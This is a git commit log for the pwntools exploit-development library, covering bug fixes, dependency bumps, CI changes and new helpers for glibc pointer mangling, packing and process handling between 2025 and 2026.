[emerg] 1#1: host not found in upstream "debuginfod.elfutils.org" in /etc/nginx/nginx.conf:23
2026-04-03 21:30:23 +02:00
e6ed0550fa Improve error of process.maps() after the process exited (#2606)
* Fix `process.maps()`

* Changelog

* Update CHANGELOG wording and exception type

---------

Co-authored-by: Raccoon <raccoon@42>
Co-authored-by: Peace-Maker <[email protected]>
2026-04-03 21:14:56 +02:00
Peace-Maker 6ddff06c4c Cache gitlab.com libcdb responses in CI
The reponses set a cloudflare `_cfuvid` cookie and had a cache time of 60 seconds.
nginx doesn't cache responses with a `Set-Cookie` header by default,
so ignore the cookie and override the cache time to 12 weeks.

Fixes #2494
2026-04-03 20:41:01 +02:00
peace-maker fd3cf3d43f Add glibc safe-linking reveal_ptr_same_page (#2686)
* Add `reveal_ptr_same_page`

Reveals a pointer mangled using PROTECT_PTR without knowing where it is stored.
Only works when the pointer points to the same page as it is stored on, which happens regularly in normal tcache next-ptrs.

* Update CHANGELOG
2026-03-24 15:19:19 +01:00
peace-maker 5b22add60e Close SSH client connection when authentication failed (#2688)
* Close SSH client when authentication failed

The TCP connection stayed open after an exception was thrown
during authentication, even when a `with`-statement guarding the call.
Close the connection before re-raising the exception.

Fixes #2678

* Update CHANGELOG
2026-03-24 13:05:59 +01:00
c45674a601 ssh: support raw string input for 'key' argument as documented (#2671)
* ssh: support raw string input for 'key' argument

Implement support for passing the actual private key as a string or bytes, as specified in the documentation. This prevents an AttributeError by converting the string to the appropriate Paramiko PKey object (RSA/ECDSA/Ed25519).

* update changelog

* Add tests for ssh connection using a key

* Cleanup docs

---------

Co-authored-by: Your Name <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-03-24 13:01:25 +01:00
peace-maker c2f3a2dfca Fix server.close() not closing the listen socket (#2682)
* Fix `server.close()` not closing the listen socket

It would block on `accept` forever, not freeing the listening port.
Break out of `accept()` regularly to check if the socket was closed in the meantime and stop the thread.

* Update CHANGELOG

* Fix `listen.close()` not closing the listen socket

If `close()` was called before a connection was accepted,
the listen socket would not be closed.

* Fix closing listen socket on Windows

Windows throws an ENOTSOCK instead of an EBADF.

* Keep timeout on child socket tube
2026-03-23 17:15:31 +01:00
Arusekk a58534382a Use format strings and raw strings (#2554) 2026-03-21 11:09:46 +01:00
OriP e8bc9dfcc3 Supporting multiarch with modified argv[0] (including x86_64 binaries) (#2691)
* Enabling multiarch with modified argv[0] (including x86_64 binaries)

* Support SSH with multiarch & modified argv[0]
2026-03-21 09:56:14 +01:00
Connor Nelson 7d84b89e1a Update Python version requirement to 3.10 (#2690)
Typing hints would be too cumbersome with older versions.
2026-03-21 09:53:00 +01:00
peace-maker 0386e8a8ee Fix tty and raw arguments in ssh.process (#2699)
* Fix `tty` and `raw` arguments in ssh.process

The arguments were unused and not passed through to the underlying `ssh_process` class.

Fixes #2038

* Add tty tests

* Update CHANGELOG

* Fix buffered process environment output without tty
2026-03-17 10:31:58 +01:00
dependabot[bot] 76894a5404 Bump the github-actions group with 2 updates (#2697)
Bumps the github-actions group with 2 updates: [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) and [docker/login-action](https://github.com/docker/login-action).


Updates `docker/setup-buildx-action` from 3 to 4
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v3...v4)

Updates `docker/login-action` from 3 to 4
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3...v4)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: docker/login-action
  dependency-version: '4'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-16 17:53:46 +01:00
Rin fb0d0a5dcb refactor: replace unsafe eval with ast.literal_eval in ROP cache loading (#2677)
* refactor: replace unsafe eval with ast.literal_eval in ROP cache loading

* docs: add PR link to CHANGELOG reference section

* docs: restore full CHANGELOG and correctly add PR #2677 reference
2026-03-05 13:27:48 +01:00
Peace-Maker 9d0238cf30 Group Dependabot update PRs
Only check every month instead of weekly too. Try to reduce the spam. <3 @Arusekk
2026-03-05 13:02:46 +01:00
dependabot[bot] bd82ded522 Bump actions/download-artifact from 7 to 8 (#2696)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 7 to 8.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v7...v8)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '8'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-05 11:18:56 +01:00
dependabot[bot] ee29a37ec8 Bump actions/upload-artifact from 6 to 7 (#2695)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-05 06:56:22 +01:00
peace-maker 4ec81229b4 Add (un)pack shorthands for 40-56 bit numbers u48()/p48() (#2687)
* Add (un)pack shorthands for 40-56 bit numbers

`u40`/`p40`, `u48`/`p48`, and `u56`/`p56` can be used to quickly unpack shorter integers.

`u48` can be used to unpack addresses leaked using a c-string function which stops at the first null-byte.
Instead of doing `u64(data.ljust(8, b'\x00"))` you can now just do `u48(data)`.

Refs #2447

* Update CHANGELOG

* Fix typo in CHANGELOG
2026-02-23 12:28:43 +01:00
peace-maker 27461431d6 doctest: Print duration after each document (#2685)
* doctest: Print duration after each document

* Disable intro doctest connecting to `ftp.ubuntu.com`

The FTP server is throttled in CI or just really slow. We already test the basic tcp tubes in the `remote` tests.
2026-02-22 18:41:10 +01:00
Peace-Maker a8c89fd34c Regenerate zsh autocompletion
`python zargparse.py ../pwntools/pwnlib/commandline/main.py`
2026-02-21 14:39:58 +01:00
RocketDev 283147e97c New glibc module to include libc specific funcs (#2673)
* New glibc module to include libc specific funcs

* chore: add changelog entry

* refactor: move libc module

* feat: add libc in docs

* feat: add doctest for glibc module

* fix: remove `libc` ref in `util`

* fix: resolve doc test errors and warnings

* feat: multi-arch support for `ptr_(de)?mangle`

Consulting glibc source code, I found that only on x86 glibc performs
ror/rol, on other platforms, glibc only performs a simple xor.

* chore: cleanup docs
2026-02-20 22:12:54 +01:00
peace-maker 081b84927f Fix typo causing doctests not getting skipped (#2681)
Downloading all those libcs slowed down the CI a lot.
2026-02-20 12:49:39 +01:00
RocketDev 5161b5ef23 Cleanup Python 2 legacy (#2680)
* Cleanup Python 2 legacy

* chore: update changelog
2026-02-20 10:48:42 +01:00
peace-maker 243e6faffa asm: try native binutils before fallback architectures (#2669)
* asm: try native binutils before fallback architectures

Some binutils builds support multiple architectures,
like the x86_64 assembler supports i386 too in most
package builds and vice versa. We support this by trying
the other binutils as well when looking for the right tool.
That support is optional though and there are packages
that don't include the "cross" compilation.

When assembling for the host's native architecture, we
still prefer the explicitly named `x86_64-linux-gnu-as`
instead of the native `as` binary. That native binary is
tried as a last resort after looking for any other explictly
named binary. If the fallback package is installed but
compiled without the cross-compiler support, we'd still
find the `i386-as` binary while looking for `x86_64-as`
before trying the native `as` binary.
That would fail to assemble.

This patch moves the native `as` binary forward in the list
to try it before checking the other fallback architecture ones.

Fixes #2509

* Update CHANGELOG
2026-02-20 10:07:48 +01:00
RocketDevandpeace-maker 839915e18d packing: Add overlap to overlap structures easily (#2647)
* Remove useless coding line

And fix a side-effect: the leading ' ' cause neovim to add a space when
press enter, which breaks indent

* feat: add `overlap` to overlap structures easily

* chore: update changelog

* feat(overlap): throws BufferError and complete docs

* Declare return value clearly and refactor error

---------

Co-authored-by: peace-maker <[email protected]>
2026-02-19 12:17:48 +01:00
b0tm4n e167068b36 Fix args for kitty launch (#2676)
* Fix args for kitty launch

For gdb to work correctly it needs to get the same cwd cuze it's where the bin is located, if --cwd isn't specified gdb doesn't find the binary being debugged and show an error

* fix args
2026-02-14 06:40:05 +01:00
Hannah FluchandXeonacid ee2e66fed2 feat(term): add zellij support (#2675)
* feat(term): add zellij support

* fix: typo in util/misc

Co-authored-by: Xeonacid <[email protected]>

* chore: update CHANGELOG.md

---------

Co-authored-by: Xeonacid <[email protected]>
2026-02-12 06:11:35 +01:00
peace-maker 484a322ea8 Run vermin targetting at most Python 3.10 in CI (#2668)
* Run vermin targetting at most Python 3.10 in CI

Run https://github.com/netromdk/vermin to verify we don't use any Python features
of newer versions than what we want to support.

* Fix getdents docs

 /home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:5: ERROR: Unexpected indentation. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:9: WARNING: Block quote ends without a blank line; unexpected unindent. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:19: WARNING: Definition list ends without a blank line; unexpected unindent. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:24: ERROR: Unexpected indentation. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:34: WARNING: Block quote ends without a blank line; unexpected unindent. [docutils]
2026-01-23 16:41:22 +01:00
Peace-Maker b20fa8b2d7 Fix flakey process.terminate() test 2026-01-23 16:23:25 +01:00
d8b4927993 fix: fixed checksec auto complete (#2665)
Co-authored-by: deciphr <[email protected]>
Co-authored-by: peace-maker <[email protected]>
2026-01-20 16:57:48 +01:00
dbgbgtfandpeace-maker 0eee5af789 Refactor getdents.py, add support for SYS_getdents64 (#2643)
* Refactor getdents.py, add support for SYS_getdents64

* remove enum import and format the code

* fix doctest and use try before decode

* use global context setting in doctest

* use IntEnum for d_type instead

* add error handling, use log to give warnings

* rewrite doctest result, add comment for functions

* complete changelog for getdents

* set context in local, so it won't affect the later tests

* Add explicitly word_size

Co-authored-by: peace-maker <[email protected]>

* Use context.bytes directly instead of context.bits

Co-authored-by: peace-maker <[email protected]>

* add linux source code of struct

* separate dirents into dirents and dirents64

* remove unhex. complete a comment.

* fix test_case. use fromhex instead of unhex.

* add __len__ method

* add DT_WHT and DT_SUBVOL

---------

Co-authored-by: peace-maker <[email protected]>
2026-01-18 12:08:53 +01:00
Artur Cygan 5a6e60b6e9 Fix typos in ROP docs (#2662) 2026-01-08 13:18:56 +01:00
miraklesource ea29281d3d Fix typo in error message for UDP sockets (#2663) 2026-01-08 07:55:20 +01:00
dependabot[bot] 1320659f9e Bump actions/upload-artifact from 5 to 6 (#2660)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:38 +01:00
dependabot[bot] 85c7090671 Bump actions/download-artifact from 6 to 7 (#2659)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:30 +01:00
dependabot[bot] 7a74e76c48 Bump actions/cache from 4 to 5 (#2658)
Bumps [actions/cache](https://github.com/actions/cache) from 4 to 5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:21 +01:00
dependabot[bot] 2047463318 Bump actions/checkout from 5 to 6 (#2654)
Bumps [actions/checkout](https://github.com/actions/checkout) from 5 to 6.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:13 +01:00
Gilad Reti b7239dce30 support preexec_args in process (#2641)
* support preexec_args in process

Previously, preexec_args where supported by ssh.process only. Add support in process too, to allow easier ssh.process/process workflows

* update changelog
2025-11-24 12:51:45 +01:00
k4lizen 8863546627 Make setting the context.terminal to kitty more user friendly (#2652)
* make setting the kitty context terminal more user friendly

* changelog
2025-11-22 15:27:53 +01:00
Divyaranjan SahooandPeace-Maker 5db986e4c8 Add terminate method to process class that sends SIGTERM (#2629)
* Add terminate method to process class that sends SIGTERM

* Always use `Popen.terminate()` on all operating systems

And check if the process exited right away.

* Update CHANGELOG

* Fix terminate test to show SIGTERM handler

---------

Co-authored-by: Peace-Maker <[email protected]>
2025-11-22 15:26:20 +01:00
Th3S 01f8160a05 fix(libcdb-cli): return early if no matched libc found (#2646)
* Fix: return early if no matched libc found

* Update CHANGELOG
2025-11-22 13:22:20 +01:00
peace-maker 950410dafd Remove "pip" as explicit dependency (#2642)
It looks like this was done to work around a bug in an old pip version years ago.
It caused problems when freezing dependencies which unnecessarily forced pip to the version used at freeze time when installing again.

Fixes #2625
2025-11-22 13:21:35 +01:00
OBarronCS c2cb5799b6 Add aarch64_be qemu mapping (#2653) 2025-11-21 10:55:45 +01:00
Arusekk 20c55aeb6f elf: even better handling of kernel images 2025-11-10 21:59:14 +01:00
Lê Nam Khánh 3525980677 Fix typos in some files (#2648) 2025-11-06 23:26:06 +01:00
dependabot[bot] e606fa4c62 Bump actions/upload-artifact from 4 to 5 (#2644)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-06 10:24:15 +01:00
dependabot[bot] 52dc312103 Bump actions/download-artifact from 5 to 6 (#2645)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-06 10:23:37 +01:00
1057473647 GitHub Actions: Test on Python 3.14 (#2627)
* GitHub Actions: Test on Python 3.14

Python v3.14 -- October 7th
* https://www.python.org/download/pre-releases
* https://www.python.org/downloads/release/python-3140rc3
* https://github.com/actions/setup-python/blob/main/docs/advanced-usage.md#allow-pre-releases

* Allow new LOAD_SMALL_INT opcode in safeeval

* Support lambdas in mbruteforce

* Drop pwnlib.util.iters.lookahead

---------

Co-authored-by: Peace-Maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2025-11-06 10:22:41 +01:00
Arusekk 753fcf0da7 elf: better handling of kernel images 2025-11-06 09:25:06 +01:00
Arusekk 289bc8ede4 template: error message and fallback on no docker 2025-11-06 09:24:47 +01:00
Gilad Retiandpeace-maker 49964f6702 support preexec_fn in debug() (#2630)
* support preexec_fn in debug()

Previously, preexec_fn was mistakengly run is gdbserver's context.
Run it inside the debuggee instead to allow run/debug workflows.

* update Changelog

---------

Co-authored-by: peace-maker <[email protected]>
2025-10-22 08:48:44 +02:00
Ritvik Goyal bfcab4ab32 feat: add disable_corefiles context option (#2638)
* feat: add disable_corefiles context option

Add new context option that automatically disables core file generation
when enabled. This sets RLIMIT_CORE to (0, -1) to prevent core dump creation,
which is particularly useful for brute-force scenarios and repeated segfault
crashes where core files consume excessive disk space.

- Add disable_corefiles context variable with boolean type.
- Add @_validator decorator for disable_corefiles context variable
- Default value is False to maintain existing behavior.

Fixes #2566

* Update CHANGELOG

* Add doctest for `context.disable_corefiles`

Added doctest for `disable_corefiles` in corefile.py
Added doc for `disable_corefiles` in process.py
When `context.corefiles` is enabled:
For crashed process, `io.corefile` will return None.
For running process, gdb still dumps the corefile.
2025-10-21 13:46:57 +02:00
Peace-Maker e02b3ba74c Merge branch 'beta' into dev 2025-10-18 13:18:02 +02:00
peace-maker 313e3c2a76 ROP: Remove stdout and argv workaround in ROPgadget invocation (#2639)
* ROP: Remove stdout and argv workaround in ROPgadget invocation

ROPgadget supports usage as a library since v5.3 in 2015.
The hacks are no longer needed.

This also fixes running multiple exploits in parallel in the same process. They could race and output was lost.

* Update CHANGELOG

* Fix race while creating rop-cache folder

There was a TOCTOU when two ROP classes were interleaved just wrong in a multi-threaded script.
2025-10-16 16:35:52 +02:00
Peace-Maker 07f3caadc4 Stay with pylint < 4.0 until recursion errors are fixed
https://github.com/pylint-dev/pylint/issues/9190
2025-10-16 16:17:08 +02:00
Peace-Maker 480f174bcf Merge branch 'beta' into dev 2025-10-12 17:30:26 +02:00
Peace-Maker 3ad86ec5ad Release 4.15.0 2025-10-12 16:48:05 +02:00
Arusekk 8b6543466a Merge branch 'beta' into dev 2025-09-26 09:57:33 +02:00
Arusekk b5076d9262 Merge branch 'stable' into beta 2025-09-26 09:54:54 +02:00
ArusekkandHackrrr 77b4f06b07 docs: warn that .libs/.libc/.maps are dangerous (#2626)
Co-authored-by: Hackrrr <[email protected]>
2025-09-26 07:36:34 +00:00
Arusekk 4968499d11 ffix: ugly ELF docs (whitespace only) 2025-09-26 09:20:53 +02:00
Peace-Maker 50b4343cd4 Merge branch 'beta' into dev 2025-09-16 22:05:15 +02:00
Peace-Maker f38991bc02 Merge branch 'stable' into beta 2025-09-16 21:41:00 +02:00
peace-maker d0e6ee4b37 Fix regression: gdbserver can't handle command-line argument containing whitespace (#2624)
* Fix regression: gdbserver can't handle command-line argument containing whitespace

The `--no-startup-with-shell` argument was passed in an attempt to
fix gdbserver startup with `SHELL=/bin/fish`. (#2377) It caused a regression
which disallowed passing arguments containing whitespace to the debuggee in `gdb.debug`.

gdbserver would exit with a message:
"can't handle command-line argument containing whitespace"

There is a 3 second timeout waiting for gdbserver to startup and
printing a message with a workaround already suggesting to set
`SHELL=/bin/bash` to allow gdbserver to launch. This has to be
our best effort to guide users of such shells until we find time
to investigate a better solution.

Fixes #2550

* Update CHANGELOG
2025-09-16 21:06:29 +02:00
Peace-Maker 299b3faa6e Add note about ubuntu toolchain for Windows binutils
The mingw64 build is incompatible with our objcopy invocation.

Refs #2622
2025-09-14 22:26:16 +02:00
peace-maker 359aa51f5f Remove "ubuntu" user in base Docker image (#2620)
The ubuntu/24.04 image contains a default user "ubuntu" with uid 1000.
We add our own "pwntools" user which has uid 1001 now causing mismatches
with the default host uid of 1000 for the bind-mounts in the develop/testing image.

https://bugs.launchpad.net/cloud-images/+bug/2005129
2025-09-14 22:18:11 +02:00
peace-makerandArusekk 48ea09b27f Fix lookup of binutils for mipsel architecture (#2612)
* Fix lookup of binutils for `mipsel` architecture

The endianness is encoded in the architecture name for mips targets which wasn't respected while looking for the correct binutils binary.

Sync the CI and Dockerfile binutils packages while we're at it.

Fixes #2591

* Update CHANGELOG

* still fall back to the other endianness

---------

Co-authored-by: Arusekk <[email protected]>
2025-09-11 13:09:28 +00:00
Arusekk aea771b8b5 Merge branch 'beta' into dev 2025-09-11 14:59:45 +02:00
Arusekk 9f22a2f202 Merge branch 'stable' into beta 2025-09-11 14:55:56 +02:00
Arusekk 7413a3da31 Exclude Unicorn versions segfaulting on MIPS PLT (#2621)
Fixes #2619
2025-09-11 12:55:51 +00:00
dependabot[bot] d01b58905c Bump actions/setup-python from 5 to 6 (#2617)
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 5 to 6.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-10 14:40:05 +02:00
peace-maker e0c70c2312 tube/process: Fix redirecting stderr to stdout on Windows (#2615)
* tube/process: Fix redirecting stderr to stdout on Windows

Use the `subprocess` module's built-in redirection capabilities instead
of manually redirecting file descriptors, which uses the correct
pipes on Windows.

Fixes #2614

* Update CHANGELOG
2025-09-07 19:59:18 +02:00
peace-maker 5f7e4e56d4 Fix log.progress ignoring context.log_console (#2610)
* Fix `log.progress` ignoring `context.log_console`

When setting `context.log_console` to something other than stdout, spinners while using `log.progress` would still be printed to stdout.
Redirect them to the stream specified by `context.log_console` and don't animate if it's not a tty.

Fixes #1702

* Update CHANGELOG
2025-09-07 11:17:42 +02:00
peace-maker 7ba52cceed Remove leftover six references (#2613)
Some six usage sneaked by in #2547
2025-09-06 15:38:16 +02:00
peace-maker 7c83eef178 Cleanup pwnlib.lexer exports and imports (#2611)
* Cleanup `pwnlib.lexer` exports and imports

The exported lexers don't really exist. It has been this way since this code was first included in the repo, so I'd assume the intention was to have aliases for the same lexer since the disassembly looks similar between all those tools.

Many imports are unused too, so remove them.

Fixes #1309

* Update CHANGELOG
2025-09-06 14:26:37 +02:00
Peace-Maker dffacc0d82 Merge branch 'beta' into dev 2025-09-05 14:14:37 +02:00
Peace-Maker 95aac6e367 Merge branch 'stable' into beta 2025-09-05 13:59:45 +02:00
Peace-Maker 9ed93a5281 Fix race condition in process mapping tests
We could try to lookup the mapped libraries before they are actually loaded in the process.
Wait until the program is up and running before trying to fetch the memory maps.
2025-09-05 13:14:57 +02:00
peace-maker 3579fb1384 Fix log level of child remotes of server tube (#2609)
* Fix log level of child remotes of `server` tube

The log level of the `server` tube wasn't passed
on to the `remote` wrappers created upon receiving
a new child connection. This caused the connection
closed message to be logged even when the server
object was created with `level='error'`.

* Update CHANGELOG
2025-09-05 12:25:49 +02:00
peace-maker a85ad0390b Abort on libcdb file libc.so --unstrip if eu-unstrip is not installed (#2608)
* Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed

Fixes #2586

* Update CHANGELOG
2025-09-04 17:00:57 +02:00
Peace-Maker b8803eafcd Merge branch 'beta' into dev 2025-08-28 15:06:21 +02:00
Peace-Maker 485bf0a0b7 Merge branch 'stable' into beta 2025-08-28 14:36:00 +02:00
dependabot[bot] 360f4595f9 Bump actions/checkout from 4 to 5 (#2603)
Bumps [actions/checkout](https://github.com/actions/checkout) from 4 to 5.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-28 14:31:50 +02:00
dependabot[bot] 65c5d15bd9 Bump actions/download-artifact from 4 to 5 (#2597)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-28 14:31:40 +02:00
k4lizen 90e66b469c Fix aarch64 ABI (#2598)
* upd aarch64 abi

* changelog
2025-08-28 14:29:14 +02:00
CookedMelon 9a70d8fa6d Bump pyelftools version to >=0.32 (#2605)
pyelftools 0.29 results a fail in checksec, makes the script can't execute

    * modify pyelftools version
2025-08-28 14:21:42 +02:00
William Tan b133b76b4e Allow setting debugger path via context.gdb_binary (#2602)
* Allow setting debugger path via context

* Update changelog
2025-08-19 10:30:05 +02:00
ffc46d277a Fix poll error in process.libs() and clean up maps parsing (#2579)
Co-authored-by: Raccoon <raccoon@42>
Co-authored-by: peace-maker <[email protected]>
2025-08-09 14:47:57 +00:00
Shordenandpeace-maker d665644ae4 Support context.timeout in ~/.pwn.conf (#2592)
* Add float to supported config types

This change functionally just allows setting `context.timeout` in
~/.pwn.conf.

* update changelog

---------

Co-authored-by: peace-maker <[email protected]>
2025-08-06 18:03:50 +02:00
peace-maker 00f707d0bf Decode and pretty print _IO_* flags in FileStructure member (#2542)
* Decode `_IO_*` flags in FileStructure member

The `_flags` and `_flags2` bitmasks are decoded to a readable string when printing the struct.
Next to setting the flags as an integer like before, you can set individual bits now and check set bits.

```
fileStr = FileStructure(null=0xdeadbeeef)
fileStr.flags = 0xfbad1807
fileStr.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF | IO_flags._IO_UNBUFFERED
fileStr.flags._IO_USER_BUF = 1
```

Printing the FileStructure shows the flags in human readable form too

```
{ flags: 0xfbad0401 (_IO_USER_BUF | _IO_UNBUFFERED | _IO_MAGIC)
_IO_read_ptr: 0x0
...
```

* Update CHANGELOG
2025-08-06 16:43:33 +02:00
Peace-Maker 3677514a71 Merge branch 'beta' into dev 2025-08-06 14:49:12 +02:00
Peace-Maker dd3a5f6974 libcdb: Fix cache handling of debuginfo
When trying multiple debuginfod servers, the first one to fail would save the failed attempt and block the remaining servers to be tried.

Only save that we couldn't find the debuginfo if we tried all the configured servers.
2025-08-06 14:32:08 +02:00
Peace-Maker 9a275b2db0 Fix libcdb cache in CI
Requests to debuginfod.elfutils.org had the wrong SNI in their request.

Cache requests to debuginfod.ubuntu.com too.
2025-08-06 12:16:10 +02:00
Peace-Maker 1c28222fe6 Merge remote-tracking branch 'stable' into beta-staging 2025-08-05 21:47:13 +02:00
peace-maker b93c5ace10 Ignore colored_traceback error when TERM is unset (#2596)
* Ignore colored_traceback error when TERM is unset

Fixes using pwntools in non-interactive sage scripts with newer colored_traceback versions.

Fixes #2594

* Update CHANGELOG
2025-08-05 21:25:21 +02:00
peace-maker da9797c1c2 Support longer function names in Windows getexport shellcode (#2587)
* Support longer function names in Windows getexport shellcode

Previously, an arbitrary name length limit of 8 characters was in place due to the lack of a proper strcmp loop. Implement a cheap strcmp for longer function names.
This trashes a bunch of registers and we might be able to optimize it further to reduce the damage.

Use a unique label too to avoid redefinition when using the shellcraft template twice in the same shellcode. Use the mov shellcraft template for the destination register to avoid an instruction if the result is already in the desired register.

* Update CHANGELOG
2025-08-05 14:55:35 +00:00
peace-maker dfcde14df8 Add support for finding corefiles under WSL2 (#2590)
* Add support for finding corefiles under WSL2

The `wsl-capture-crash` tool stores the crash dumps in the Windows filesystem under `%TEMP%\wsl-crashes`. Look in that directory.

This allows to use the `process.corefile` infrastructure when debugging locally under WSL2.

* Update CHANGELOG
2025-08-05 16:49:36 +02:00
Shordenandpeace-maker 6dfe8b6f72 Use unicorn on macOS w/ SIP enabled (#2593)
* __ensure_memory_to_run_unicorn: don't request wx memory

macOS systems with SIP enabled prohibit mmaping WX memory.
unicorn doesn't run into this issue because it uses the MAP_JIT
protection flag.

See also:
https://github.com/unicorn-engine/unicorn/blob/803fe5a47770360d1942de72600d3b295b521e31/qemu/accel/tcg/translate-all.c#L1021-L1032
https://github.com/pwndbg/pwndbg/blob/2f6b5bbaea484391f55850a09a16efda161498f2/pwndbg/aglib/disasm/__init__.py#L305-L316

* update changelog

---------

Co-authored-by: peace-maker <[email protected]>
2025-08-05 11:39:28 +00:00
peace-maker 425221fb30 Add Ubuntu and Debian debuginfod servers (#2595)
* Add Ubuntu and Debian debuginfod servers

Most CTF challenges are hosted on Ubuntu or Debian [citation needed], so check their debuginfod servers before trying the federating one as a fallback.

This is required since the elfutils.org server seems down for maintenance occasionally.

* Update CHANGELOG
2025-08-05 13:02:00 +02:00
Chaitanya RahalkarandPeace-Maker 004a6dab88 Add automatic detection of statically linked binaries in detect_missing_binaries function. (#2570)
* Add automatic detection of statically linked binaries in `detect_missing_binaries` function.

* Add entry for PR #2570 to CHANGELOG.md: fix `pwn template` for statically linked binaries.

* Remove partial test implementation

The commands should be tested end-to-end instead of using doctests (later).

---------

